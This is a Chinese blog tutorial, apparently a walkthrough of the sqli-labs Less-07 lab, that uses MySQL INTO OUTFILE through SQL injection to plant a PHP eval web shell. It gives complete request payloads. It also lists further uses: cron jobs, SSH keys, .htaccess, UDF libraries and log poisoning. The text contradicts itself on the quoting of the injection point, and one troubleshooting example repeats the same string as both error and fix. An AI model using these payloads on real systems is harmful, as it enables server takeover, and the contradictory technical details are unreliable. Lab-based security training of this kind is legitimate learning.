☰
sqli-labs Less-07深度解析:利用MySQL INTO OUTFILE实现文件写入与getshell
2026/10/15 6:59:31 网站建设 项目流程

sqli-labs 这个靶场,玩过 SQL 注入的人应该都不陌生。刷到 Less-07 这一关时,很多人会被标题里的“文件写入”四个字卡住,明明前面几关都是查数据、显错、盲注,怎么到这一关画风突变,开始和服务器文件系统打交道了?

我先说结论:Less-07 的核心考点是利用 MySQL 的INTO OUTFILE语法,把 SQL 查询结果写入服务器上的一个文件,进而实现 getshell 的“第一步”。这一关在整套靶场里的地位很特殊,它更像是从“读数据”向“写文件”过渡的一个分水岭。如果你到这里开始觉得吃力,不用慌,这篇文章就把这一关从头到尾拆开,揉碎了讲清楚。

先说清楚适用对象:你已经知道基本的 union 注入流程,会看页面报错是“无显示”还是“有回显”,并且本地有一套 sqli-labs 环境(或者至少有一台能跑 PHP + MySQL 的虚拟机)。这一关需要你具备一点点 Linux 文件权限的概念,以及知道 MySQL 有个叫secure_file_priv的配置项。这些我都会在后文展开,不用担心。

1. 内容整体设计与思路拆解

1.1 Less-07 在整套靶场里的定位

sqli-labs 的关卡设计是有层次的。前面几关,比如 Less-01、Less-02,是让你熟悉最基本的报错、布尔、时间盲注和 union 注入。到了 Less-06、Less-07 附近,难度曲线开始往上走,而且方向开始分化:要么是用更复杂的盲注手法去“猜”数据,要么是借助数据库自身的功能去做更“高级”的事,比如读写文件。

Less-07 选择的路线是文件写入。它的设计场景非常贴近实战中的一个经典动作:当注入点拿不到回显,又没法用报错把数据显示出来,但是运气足够好、数据库权限足够大,我们就直接让数据库去写一个文件到目标机器上。这个文件可以是一个一句话木马,也可以是一个验证用的探针文件,甚至是一个计划任务脚本。靶场里的“文件写入”就是让你把这条路从头到尾走一遍。

和 Less-06 相比,Less-07 的注入点同样是双引号字符型注入,但它的“输出”方式完全不同。Less-06 至少还有报错信息可以看,Less-07 干脆把报错也吞了,只给你一个“You have an error in your SQL syntax”这种通用提示,故意不告诉你具体错在哪。这就逼着你必须自己去判断注入是不是成立,然后再想办法拿到一个能落地的“出口”。

1.2 “文件写入”需要提前想清楚的三个前提

文件写入这一关,表面上是 SQL 注入的功夫,但真正卡住人的往往是对 MySQL 文件写入机制不理解。我先把三个前提列出来,后面实操的时候你会反复遇到它们:

  1. MySQL 的运行权限:执行写文件操作的是 MySQL 的进程,如果这个进程是以 root 身份跑的,那它写文件时基本不受操作系统权限限制。如果它是以mysql这个低权用户跑的,那它能写的目录就很有限,通常是 MySQL 的数据目录。

  2. secure_file_priv 参数:MySQL 有个安全参数叫secure_file_priv,它限制了 INTO OUTFILE 能写到哪个目录。如果这个值是空字符串(''),表示不限制,可以写任意位置;如果是个路径,比如/tmp/,那只能写到那个目录;如果是 NULL 或者用了--secure-file-priv=xxx这种启动参数且值为 NULL,那就彻底禁用了写文件功能。这一关在本地靶场里跑通,大概率是配了空字符串或者没配这个参数。

  3. SQL 注入检测和过滤器:靶场为了模拟真实环境,加了一些简单的if判断逻辑(这一关就有个奇怪的id传参方式),你需要在现实场景中把过滤规则摸清楚,再决定 payload 怎么闭合、怎么绕过。

这三个前提缺一个,文件写入就做不到。很多人在 Less-07 卡住的真实原因,不是不会写 payload,而是压根没搞懂为什么INTO OUTFILE老是写不进去,或者写了也不知道写哪了。

1.3 为什么选 INTO OUTFILE 而不是别的方式

MySQL 写文件主要有两种姿势:SELECT ... INTO OUTFILE和SELECT ... INTO DUMPFILE。这两者在靶场里经常被混淆,我多说一句。

INTO OUTFILE会把查询结果以文本格式完整写入文件,并且会带上列分隔符(默认是制表符)和行终止符(默认是换行符),还可以通过FIELDS TERMINATED BY和LINES TERMINATED BY来自定义格式。INTO DUMPFILE则是把原始字节原样写入文件,完全不做任何格式化处理,适合写二进制文件,比如 UDF 动态链接库。

在 Less-07 里,我们是要写一个 PHP 文件,本质上是写文本。所以用INTO OUTFILE更合适,配合自定义的行终止符,可以让我们写入的内容保持紧凑、没有多余的换行和制表符。这个细节看起来不起眼,但你在构造一句话木马 payload 的时候就会知道它有多重要,如果你用默认的换行符,写出来的文件里会带着一个制表符和换行符,有些场景下会导致 PHP 解析报错。

2. 核心细节解析与实操要点

2.1 从 Hello 到注入点判断:这套靶场的“试探文化”

sqli-labs 每一关都在逼你先做信息收集,Less-07 也不例外。拿到一个注入点之前,我通常先做两件事:看id参数在不在、有没有闭合符号。

这一关传参方式是id=1,页面回显正常;传id=2,也正常。但你传id=1',页面没有报错细节,只说“You have an error in your SQL syntax”,然后仍然显示一个很普通的页面。这里就有一个诱导性:很多人会被“没有回显”迷惑,以为注入点在别处,或者以为这一关要用盲注。

实际上,Less-07 的 SQL 语句是SELECT * FROM users WHERE id=('$id') LIMIT 0,1,也就是id被一对括号包住,外面再加一对单引号。这意味着你测试闭合的时候要得到id=('你的输入')的双层包裹结构,不能只考虑单引号闭合,还得把右括号补上。

我猜你已经试过id=1' and 1=1 --+,页面正常;id=1' and 1=2 --+,页面不正常。那恭喜你,已经完成了最基本的“布尔盲注”闭合测试。但这里有个坑:Less-07 同时要求你把--+写对,如果你用#注释可能也可以,但有些平台会因为编码问题导致#被 URL 转义,调试起来会很闹心。我在本地固定都用--+,稳定省事。

2.2 判断列数:为何这一关 order by 能过、union select 却不说话

当你确认布尔型注入成立后,下一步自然是用order by猜列数。我直接给答案:这一关的users表有 3 列。但你如果继续用union select 1,2,3去测回显位,会发现页面不给任何响应。

这里就涉及到 Less-07 和前面几关的一个关键差异:当 union 查询返回的数据不是“预期”的、或者结果行数不是 1 行时,页面可能根本不渲染任何数据,甚至连报错都不给。这不是你 payload 写错了,而是靶场故意把“回显”能力关掉了——它没有把查询结果显示在页面上。正确思路是:列数确定之后,不要留恋 union 回显,直接切换到文件写入。

我个人的调试习惯是:每进入一关,先建立一张“小记录表”,记下测试输入、输出表现、状态码差异。比如输入id=1' order by 3 --+和id=1' order by 4 --+,这两次的页面内容是有差别的,前者显示正常,后者报错或者空白。这个差别就是你的“线头”。

2.3 为什么 Less-07 能把注入点扭转为文件写入点

很多新手在这里有个疑问:注入点是查询,怎么和写文件扯上关系?关键在于 MySQL 的INTO OUTFILE是 SELECT 语句的“尾巴”,你可以在你的注入点后面直接接上这段尾巴,把查询结果“导出”到文件。也就是说,原本的 SQL 是:

SELECT * FROM users WHERE id=('$id') LIMIT 0,1

如果我传入:

id=1') union select 1,2,3 into outfile '/tmp/abc.txt' --+

那么最终执行的 SQL 就变成了:

SELECT * FROM users WHERE id=('1') union select 1,2,3 into outfile '/tmp/abc.txt' --') LIMIT 0,1

MySQL 执行完查询之后,会把 union 的结果集写入/tmp/abc.txt。这样,注入点就被“变道”成了一个文件写入点。

理解了这个“变道”逻辑,后面所有操作都是顺水推舟:你要做的,只是把你想要的 PHP 代码编进union select的字段里,然后让写入路径指向 web 目录下的一个.php文件。

2.4 路径问题:为什么你写入的 web 根目录老是找错

文件写入最终要写到一个你能通过浏览器访问到的地方,才算有意义。所以目标路径通常不是/tmp,而是 web 服务器能解析的目录。比如 Apache 的www目录或者 Nginx 的html目录。但靶场环境里,每个人安装路径不一样,你需要先定位网站的绝对路径。

一个比较稳的办法是看phpinfo()文件的物理路径,或者用错误日志试着去触发一个非法操作,从而在报错信息里泄露路径。在纯 sqli-labs 环境里,最常用的方式是先写入一个探针文件,比如info.php,内容是<?php phpinfo(); ?>,然后浏览器访问它,在显示的结果里找到DOCUMENT_ROOT或者SCRIPT_FILENAME。我实操时习惯先写一个简单探针,确认路径无误后再写真正的一句话。

注意:如果你用的 Windows 环境,路径写法要带盘符,比如C:/phpstudy_pro/WWW/info.php;Linux 环境下,路径通常类似/var/www/html/info.php。这一关有不少人卡在路径分隔符上,Windows 下用反斜杠\会导致 MySQL 转义出错,轻则写入失败,重则路径被截断,规范做法是统一用正斜杠。

3. 实操过程与核心环节实现

3.1 环境假设和前期准备

先交代一下我的环境,你可以对照调整:

  • 操作系统:Linux(Ubuntu 虚拟机)
  • Web 服务:Apache2(跑着 PHP)
  • 数据库:MySQL 5.7,root 用户
  • 靶场:sqli-labs(Less-07 这个关卡页面地址形如http://192.168.x.x/sqli-labs/Less-07/)

在开始前,我建议你手动确认 MySQL 能不能写文件。用 MySQL 客户端执行:

show variables like 'secure_file_priv';

如果结果是空字符串,那很好,说明路径不受限制。如果是/tmp或是NULL,那要么改配置文件(my.cnf或my.ini)里的secure_file_priv,要么把目标路径写到允许的目录里。我在本地为了方便演示,直接在 MySQL 配置里设置了:

[mysqld] secure_file_priv=

注意这一行的值是一个空字符串,等号后不要有空格,意思是不限制写入路径。改完之后记得重启 MySQL 服务。

还要检查一件事:MySQL 进程有没有权限写目标目录。你可以用操作系统命令查一下:

ps aux | grep mysqld

大概率会看到我的mysql或者root用户,如果 MySQL 是 root 跑的,写任何目录都不太会有权限障碍;如果是mysql用户,而目标目录属于www-data,那就需要调整目录权限,或者干脆把目标路径改到/tmp再想办法挪文件。这两种方案我实操时都用过,简单起见,本地测试建议直接用 root 身份跑 MySQL。

3.2 UNION 注入点探测:从布尔盲注到列数确定

我先用最简单的布尔测试确认注入点。访问:

http://192.168.x.x/sqli-labs/Less-07/?id=1' and 1=1 --+

页面正常显示。得知单引号可以打断 SQL 逻辑,并且布尔型状态能影响页面内容。再测试:

http://192.168.x.x/sqli-labs/Less-07/?id=1' and 1=2 --+

页面明显发生变化,不显示正常内容了。这一步不需要任何工具,浏览器地址栏直接敲就行,适合新手建立“手感”。

接下来猜列数。因为刚才的闭合是('$id')结构,我们实际拼进去的内容要写成:

?id=-1') union select 1,2,3 --+

但是这一关页面不回显 union 的结果,所以我先不急着验证1,2,3,而是先做 order by:

?id=1') order by 3 --+

页面正常。

?id=1') order by 4 --+

页面异常。

由此确定列数为 3。写到这里,你已经走完了 Less-07 前半段最关键的路径:注入类型是字符型、闭合包含单引号和括号、列数是 3、页面无回显点。接下来就要用到文件写入了。

3.3 第一个写入测试:确认写入能力与绝对路径

我先往 web 根目录写一个探针文件。假设我的 web 绝对路径是/var/www/html/sqli-labs/,我发起如下请求(注意,这里的 payload 是按 URL 编码后的样子,但在本地测试我经常直接复制进 HackBar 或者 Burp 的 Repeater 里):

GET /sqli-labs/Less-07/?id=1') union select 1,2,3 into outfile '/var/www/html/sqli-labs/test_less7.txt' --+ HTTP/1.1

执行完后,我去服务器的对应路径查看文件:

cat /var/www/html/sqli-labs/test_less7.txt

如果里面有类似1 2 3的内容,那么说明 MySQL 能写文件、路径正确、权限没问题,这一关的核心能力已经拿到了。如果文件不存在,先回上一步检查secure_file_priv,再检查目标目录的写权限,不要继续往下试,直到探针成功。

提示:如果你不确定 web 根目录,随便访问一个已存在的页面,然后在浏览器开发者工具里看响应头,或者直接看服务器的 Apache/Nginx 配置文件来找DocumentRoot,这个路径比什么都准。

3.4 写入 PHP 一句话木马:格式陷阱与闭合技巧

探针文件没有问题了,下一步就是把内容换成 PHP 代码。我们需要在union select的字段里构造 PHP 一句话。我最常用的写入 payload 是:

union select 1,2,'<?php @eval($_POST[\'x\']);?>' into outfile '/var/www/html/sqli-labs/shell.php'

为了避免写入的内容里被塞入默认的制表符和换行符,我通常会在最尾部加上自定义的行终止符为空:

union select 1,2,'<?php @eval($_POST[\'x\']);?>' into outfile '/var/www/html/sqli-labs/shell.php' lines terminated by ''

严格来说,还可以一起定义FIELDS TERMINATED BY,不过这里只有一行数据,主要把行终止符处理干净就行。默认情况下 MySQL 写完一行会补个换行,如果你写的一句话木马后面多了一个换行,PHP 解析时依然不会报错,但有时候在某些一句话管理工具里会带来小问题,我习惯直接写成lines terminated by ''来规避。

在执行这个 payload 之前,有一个非常关键的点:单引号转义。因为这个注入点是('$id'),你的 payload 外头还有一对单引号。如果你把<?php @eval($_POST['x']);?>原封不动放进 SQL 语句里,单引号会提前闭合,导致 SQL 语法错误。所以必须对内部单引号做转义,常见写法是\',在 URL 里要把它编码成%5c%27或者在 HackBar 里直接填反斜杠加单引号。这个细节我在第一次跑的时候踩过坑,写出来老是被截断,后来才反应过来是转义问题。

你的最终 GET 请求长这样:

GET /sqli-labs/Less-07/?id=1') union select 1,2,'<?php @eval($_POST[\'x\']);?>' into outfile '/var/www/html/sqli-labs/shell.php' lines terminated by '' --+ HTTP/1.1

执行完之后,浏览器访问:

http://192.168.x.x/sqli-labs/shell.php

如果看到空白页或者什么都没发生,不代表失败,说明 PHP 已经解析了,没有语法错误。这时候用中国菜刀、蚁剑或者直接 POST 参数去连接,就能确认 getshell 了。

3.5 参数选择与计算过程:为什么选 1,2,3 而不是 1,1,1

这里有个小孩儿才做选择、大人都会问的问题:为什么union select 1,2,'...'而不是直接union select '一句话',2,3?答案是,我们把 PHP 代码放在第 3 列,是为了和表结构对齐,避免写入的文件里因为列数不匹配而产生 NULL 或空行。虽然 MySQL 对 INTO OUTFILE 的列数和值没有“类型强制”,但为了确保写入内容干净,我始终把代码放在最后一列,前面用数字占位。这样在写出的文件里,实际内容会是:

1 2 <?php @eval($_POST['x']);?>

其中第 3 列才是我们想要的 PHP 代码。看起来不够干净?别急,我们可以用FIELDS TERMINATED BY把列分隔符改成空字符串,比如:

union select 1,2,'<?php @eval($_POST[\'x\']);?>' into outfile '/var/www/html/sqli-labs/shell.php' fields terminated by '' lines terminated by ''

这样得到的文件内容就是纯粹的:

<?php @eval($_POST['x']);?>

这就非常干净了。这一招在实战中也很实用,能把整个查询结果导出成一份完全由你控制格式的文本。

4. 常见问题与排查技巧实录

4.1 写入后文件为空或文件不存在

如果你执行完 payload,访问 shell.php 出现 404,多半是文件路径有问题,或者 MySQL 没权限。我可以先快速做两个测试:

  1. 写入到/tmp/xxx.txt试试,如果成功,说明 SQL 本身没问题,是目标目录不可写或者路径不对。
  2. 用 PHP 写一个测试脚本去检查目标目录的权限,比如is_writable和file_put_contents,确认 web 服务器用户能不能写。但这里有一个容易混淆的点:写入动作是 MySQL 做的,不是 PHP 做的,所以 MySQL 的权限才是重点。

4.2 写入的文件能生成,但内容是一串带制表符的数字

这种情况最常出现在你用默认的into outfile而没有自定义分隔符。解决方案我上面已经给出了,加fields terminated by ''和lines terminated by '',把格式控制住。还有一种情况是你写的 PHP 代码里有转义字符问题,比如把$_POST写成了$_POST并且被 PHP 当作普通字符串打印出来了,这时你打开文件,看到的会是:

1 2 <?php @eval($_POST['x']);?>

页面不会报错,但这不是合法的可执行文件,实际产生效果的时候一句话也没有成功。我在第一次搞这个的时候,就因为在 URL 里没有把反斜杠处理好,结果写入的文件里带了一个字面意义的\,PHP 解析直接失败,蚁剑连接不上。后来我习惯写入完第一件事就是访问该文件,如果页面有 Fatal error 提示,立刻去文件管理里看内容,定位问题。

4.3 路径中的转义与注释符冲突

--+是 sqli-labs 里的经典注释写法,但在文件写入场景里,如果你写的目标路径后面紧跟着--+,时区、编码、URL 编码都可能造成注释符没有被正确解析。比如目标路径是/var/www/html/shell.php--+,这就悲剧了。所以注释符和路径之间一定要留个空格:

into outfile '/var/www/html/shell.php' lines terminated by '' --+

另一种做法是把注释符放到最后一行,确保不会和路径粘连。

4.4 MySQL 5.7 之后默认禁止文件写入?

不是的。MySQL 5.7 和 8.0 默认的secure_file_priv如果是 NULL,才会禁止写入。但很多发行版默认的 my.cnf 里根本没设置这个参数,此时默认行为实际上是空字符串(不限制),至少我在 Ubuntu 的 MySQL 5.7 上测试就是如此。如果你用的是 Windows 的集成环境比如 phpstudy,默认也不限制。真遇到限制,就在 my.ini 的[mysqld]段加一行secure_file_priv=然后重启服务。

4.5 加载 UDF 的后续问题

Less-07 本身不涉及 UDF,但如果你练完这一关想往深处走一问,INTO DUMPFILE是写 UDF 动态库的正确姿势。因为 DUMPFILE 不会对二进制内容做任何处理,你上传的动态链接库才能原样保存。别用 OUTFILE 去写二进制,要么被加分隔符要么被加换行,大概率会把文件写坏。

5. 内容延伸与进阶思考

5.1 文件写入成功后还能做什么

既然能写文件,你就已经获得了一个相对稳定的“信标”。最常规的路径是写 PHP 一句话木马,连上蚁剑,然后顺着主机操作系统权限继续走。但这一关不只是“getshell”这么简单,它更核心的启发是:任何数据库能访问到的路径,你都能通过注入点写入可控内容。所以你能做的远不止是写 PHP 文件:

  • 写.htaccess文件来改变目录的解析规则,让原本不解析 PHP 的上传目录变成 PHP 执行环境。
  • 写计划任务脚本(Linux 的 cron),如果你确认 MySQL 有权限写/etc/cron.d/,那就能拿到系统级执行权限。
  • 写 SSH 公钥到目标用户目录的authorized_keys里,直接获得密钥登录能力。
  • 写 UDF 动态库,然后创建自定义函数来执行系统命令。

不过这些都是建立在你能远程登录、或者能通过某种方式把文件送到目标机器上的前提下。在 sqli-labs 靶场里,我们只是练习“写入”这条技术链路本身,所以先做到写文件成功、访问成功,你就已经通关了。

5.2 如果页面完全没有 UNION 回显,还能怎么判断列数

Less-07 的页面不显示 union 查询结果,所以很多人以为列数只能靠 order by 猜。但实际上你也可以用盲注的方式,用order by结合页面正常与否来判断。甚至可以直接写一个 Python 脚本,跑 1 到 10 的 order by 请求,对比响应长度,这样更快。我在刷这个靶场的时候,通常会顺手写个小脚本,把“正常长度”和“异常长度”记下来。这个方法可以帮助你后续在完全不依赖回显的盲注关卡里少走弯路。

5.3 从 Less-07 提炼出通用注入检查清单

如果要把这一关的经验沉淀成一种可复用的方法论,我建议你每次拿到一个注入点,都按下面的顺序走:

  1. 判断注入类型(数字型还是字符型,需不需要闭合括号)。
  2. 判断页面反馈模式(有回显、无回显、报错回显、布尔差异)。
  3. 用order by确认列数。
  4. 考虑数据库当前用户权限与文件写入相关变量。
  5. 如果无回显且列数确定,直接思考有没有“带外”手段,比如文件写入、DNS 带外、时间盲注。
  6. 构造 payload 时,优先考虑“能否通过一次请求完成写入和验证”。

这套流程放到日后的渗透测试里也同样成立,很多注入点因为部署在云数据库上,文件写入基本无望,那时候你就得回归盲注和时间盲注,但 Less-07 这个“变道”思维依然极具参考价值。

6. 写在最后的一点实战体会

我刷 sqli-labs 到 Less-07 最直观的感受是:这一关一下子就让你从“SQL 注入只是查数据”的思维里跳出来了。它逼着你去理解 MySQL 的权限体系、文件系统权限、web 目录结构,还要考虑 payload 的字符转义。这些知识单独拎出来每一项都不难,但串起来之后,就是一次真正意义上的“组合拳”。

我个人的建议是:这一关不要光看 writeup,自己从零写一遍 payload,再故意做几次失败尝试。比如先写到一个不存在的目录看看报错,再写到一个权限不足的目录看看有没有反应,最后成功写入后再访问验证。经历过这些失败,你对 MySQL 文件写入的边界感会清楚得多。

另外,Less-07 写完 shell 之后,建议你顺手试一下把'<?php @eval($_POST[\'x\']);?>'换成其他内容,比如只写一段文本,然后用浏览器访问确认内容,对整个流程的确定性会有更深的把握。很多时候,安全测试拼的就是对这种“确定性”的敏感度——你知道每一步会返回什么,就不会在真正遇到问题时手忙脚乱。

最后再分享一个小技巧:如果你在一个真实授权测试中遇到 SQL 注入点,但 MySQL 又限制了输出目录,可以试着把文件写到日志目录,再利用日志注入的方式把恶意代码写入查询日志,然后包含日志文件来 getshell。这是 Less-07 文件写入思路的一种延伸,但受限于篇幅和场景合规性,这里不展开讲了。先把 Less-07 吃透,你后续理解这些高级利用方式会轻松很多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询